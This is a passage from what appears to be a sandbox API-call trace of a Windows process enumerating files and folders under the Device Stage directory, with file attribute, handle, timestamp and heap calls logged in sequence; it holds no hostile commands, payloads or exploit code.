hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f0c6929, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f0c6929, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc76d9e43, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x99d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="superbar.png", cAlternateFileName="")) returned 0 [0091.305] GetLastError () returned 0x12 [0091.305] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f80 [0091.306] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0091.306] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.306] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f07a66f, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f07a66f, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc76b3ce5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1fad1, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.png", cAlternateFileName="")) returned 1 [0091.306] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7c5b0d9, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0xc7c5b0d9, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0xc7c5b0d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xb61, dwReserved0=0x0, dwReserved1=0x0, cFileName="behavior.xml", cAlternateFileName="")) returned 1 [0091.306] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f07a66f, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f07a66f, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc76b3ce5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xadc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="device.png", cAlternateFileName="")) returned 1 [0091.306] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f0a07cc, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f0a07cc, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc76d9e43, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x70c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="overlay.png", cAlternateFileName="")) returned 1 [0091.306] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f0c6929, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f0c6929, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc76d9e43, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x99d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="superbar.png", cAlternateFileName="")) returned 1 [0091.306] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f0c6929, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f0c6929, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc76d9e43, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x99d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="superbar.png", cAlternateFileName="")) returned 0 [0091.306] GetLastError () returned 0x12 [0091.306] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1354790) returned 1 [0091.306] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0091.307] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1354898) returned 1 [0091.307] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1354160) returned 1 [0091.307] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8702d817-5aad-4674-9ef3-4d3decd87120}", cAlternateFileName="")) returned 1 [0091.307] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1354160 [0091.308] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0091.308] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0091.308] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0091.308] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0091.308] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0091.309] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.309] NtClose (Handle=0x174) returned 0x0 [0091.309] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1354160) returned 1 [0091.309] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12faf48 [0091.309] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb278 [0091.309] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1354160 [0091.310] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12faf48) returned 1 [0091.310] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1354898 [0091.310] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f80 [0091.310] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.310] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c0af2f7, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x9c0af2f7, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x9c0af2f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1fad1, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.png", cAlternateFileName="")) returned 1 [0091.310] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12faf48 [0091.311] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12faf48) returned 1 [0091.311] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12faf48 [0091.311] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12faf48) returned 1 [0091.311] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12faf48 [0091.312] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1354790 [0091.312] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb278) returned 1 [0091.312] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f68d8 [0091.312] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1354ec8 [0091.313] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12faf48) returned 1 [0091.313] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2feb941, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2feb941, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x9c0d5455, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x769, dwReserved0=0x0, dwReserved1=0x0, cFileName="behavior.xml", cAlternateFileName="")) returned 1 [0091.313] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12faf48 [0091.313] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12faf48) returned 1 [0091.313] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12faf48 [0091.314] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12faf48) returned 1 [0091.314] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12faf48 [0091.314] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f68f8 [0091.314] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1354fd0 [0091.315] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12faf48) returned 1 [0091.315] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3011a9e, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd3011a9e, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x9c0d5455, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x70c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="watermark.png", cAlternateFileName="")) returned 1 [0091.315] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12faf48 [0091.315] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12faf48) returned 1 [0091.315] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12faf48 [0091.316] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12faf48) returned 1 [0091.316] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12faf48 [0091.316] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f6918 [0091.316] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13550d8 [0091.317] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12faf48) returned 1 [0091.317] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3011a9e, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd3011a9e, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x9c0d5455, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x70c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="watermark.png", cAlternateFileName="")) returned 0 [0091.317] GetLastError () returned 0x12 [0091.317] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f40 [0091.317] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0091.317] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.317] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c0af2f7, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x9c0af2f7, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x9c0af2f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1fad1, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.png", cAlternateFileName="")) returned 1 [0091.317] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2feb941, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2feb941, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x9c0d5455, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x769, dwReserved0=0x0, dwReserved1=0x0, cFileName="behavior.xml", cAlternateFileName="")) returned 1 [0091.317] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3011a9e, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd3011a9e, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x9c0d5455, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x70c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="watermark.png", cAlternateFileName="")) returned 1 [0091.317] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3011a9e, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd3011a9e, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x9c0d5455, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x70c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="watermark.png", cAlternateFileName="")) returned 0 [0091.317] GetLastError () returned 0x12 [0091.318] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1354898) returned 1 [0091.318] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0091.318] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1354790) returned 1 [0091.318] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1354160) returned 1 [0091.318] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8702d817-5aad-4674-9ef3-4d3decd87120}", cAlternateFileName="")) returned 0 [0091.318] GetLastError () returned 0x12 [0091.318] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb168) returned 1 [0091.318] FindClose (in: hFindFile=0x2e9180 | out: hFindFile=0x2e9180) returned 1 [0091.319] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1340e10) returned 1 [0091.319] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0091.319] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd98f9f8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Task", cAlternateFileName="")) returned 1 [0091.319] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0091.319] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd98f9f8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0091.320] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0091.320] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0091.320] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0091.320] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0091.320] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.321] NtClose (Handle=0x17c) returned 0x0 [0091.321] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0091.321] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0091.321] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb168 [0091.321] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12faf48 [0091.322] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9180 [0091.322] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd98f9f8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.322] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", cAlternateFileName="")) returned 1 [0091.322] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", cAlternateFileName="")) returned 1 [0091.322] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", cAlternateFileName="")) returned 0 [0091.322] GetLastError () returned 0x12 [0091.322] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f40 [0091.322] FindClose (in: hFindFile=0x2e9180 | out: hFindFile=0x2e9180) returned 1 [0091.322] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd98f9f8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.322] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", cAlternateFileName="")) returned 1 [0091.322] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1340e10 [0091.323] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb168) returned 1 [0091.323] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1354160 [0091.323] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0091.324] CreateFileW 